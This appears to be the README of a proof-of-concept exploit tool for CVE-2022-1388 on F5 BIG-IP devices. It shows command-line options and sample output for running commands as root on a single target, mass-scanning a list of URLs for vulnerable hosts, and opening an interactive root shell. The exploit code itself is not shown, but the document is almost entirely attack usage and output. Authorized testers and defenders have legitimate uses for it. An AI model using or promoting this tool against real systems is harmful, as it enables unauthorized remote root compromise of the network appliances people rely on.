CVE-2022-1388 - refresh

PoC for exploiting CVE-2022-1388 on BigIP F5

Exploit Usage

python3 refresh.py -h
usage: refresh.py [-h] [-u URL] [-f F] [-c CMD] [-s SH]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     target url
  -f F, --file F        url file
  -c CMD, --command CMD
                        command
  -s SH, --shell SH     url to connect

Exploit single target:

$ python3 refresh.py -u IP -c id

      ::::::::: ::::::::::::::::::::::::::::: :::::::::::::::::: :::    :::
     :+:    :+::+:       :+:       :+:    :+::+:      :+:    :+::+:    :+:
    +:+    +:++:+       +:+       +:+    +:++:+      +:+       +:+    +:+
   +#++:++#: +#++:++#  :#::+::#  +#++:++#: +#++:++# +#++:++#+++#++:++#++
  +#+    +#++#+       +#+       +#+    +#++#+             +#++#+    +#+
 #+#    #+##+#       #+#       #+#    #+##+#      #+#    #+##+#    #+#
###    ################       ###    ##################### ###    ###

                       </coded by Luchoane>

[++++++] VULNERABLE: xxx.xxx.xxx.xxx | uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

Exploit url list

$ python3 refresh.py -f list.txt -c id

      ::::::::: ::::::::::::::::::::::::::::: :::::::::::::::::: :::    :::
     :+:    :+::+:       :+:       :+:    :+::+:      :+:    :+::+:    :+:
    +:+    +:++:+       +:+       +:+    +:++:+      +:+       +:+    +:+
   +#++:++#: +#++:++#  :#::+::#  +#++:++#: +#++:++# +#++:++#+++#++:++#++
  +#+    +#++#+       +#+       +#+    +#++#+             +#++#+    +#+
 #+#    #+##+#       #+#       #+#    #+##+#      #+#    #+##+#    #+#
###    ################       ###    ##################### ###    ###

                       </coded by Luchoane>

[-] NOT VULNERABLE: xxx.xxx.xxx.xxx
[-] NOT VULNERABLE: xxx.xxx.xxx.xxx
[++++++] VULNERABLE: xxx.xxx.xxx.xxx | uid=0(root) gid=0(root) context=system_u:system_r:init_t
[-] NOT VULNERABLE: xxx.xxx.xxx.xxx

--------------------------
Vulnerable targets scanned:
[+] xxx.xxx.xxx.xxx

Interactive shell

$ python3 refresh.py -s xxx.xxx.xxx.xxx

      ::::::::: ::::::::::::::::::::::::::::: :::::::::::::::::: :::    :::
     :+:    :+::+:       :+:       :+:    :+::+:      :+:    :+::+:    :+:
    +:+    +:++:+       +:+       +:+    +:++:+      +:+       +:+    +:+
   +#++:++#: +#++:++#  :#::+::#  +#++:++#: +#++:++# +#++:++#+++#++:++#++
  +#+    +#++#+       +#+       +#+    +#++#+             +#++#+    +#+
 #+#    #+##+#       #+#       #+#    #+##+#      #+#    #+##+#    #+#
###    ################       ###    ##################### ###    ###

                       </coded by Luchoane>

Welcome to the interactive shell for: xxx.xxx.xxx.xxx
User: root

> ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.027 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.027/0.027/0.027/0.000 ms

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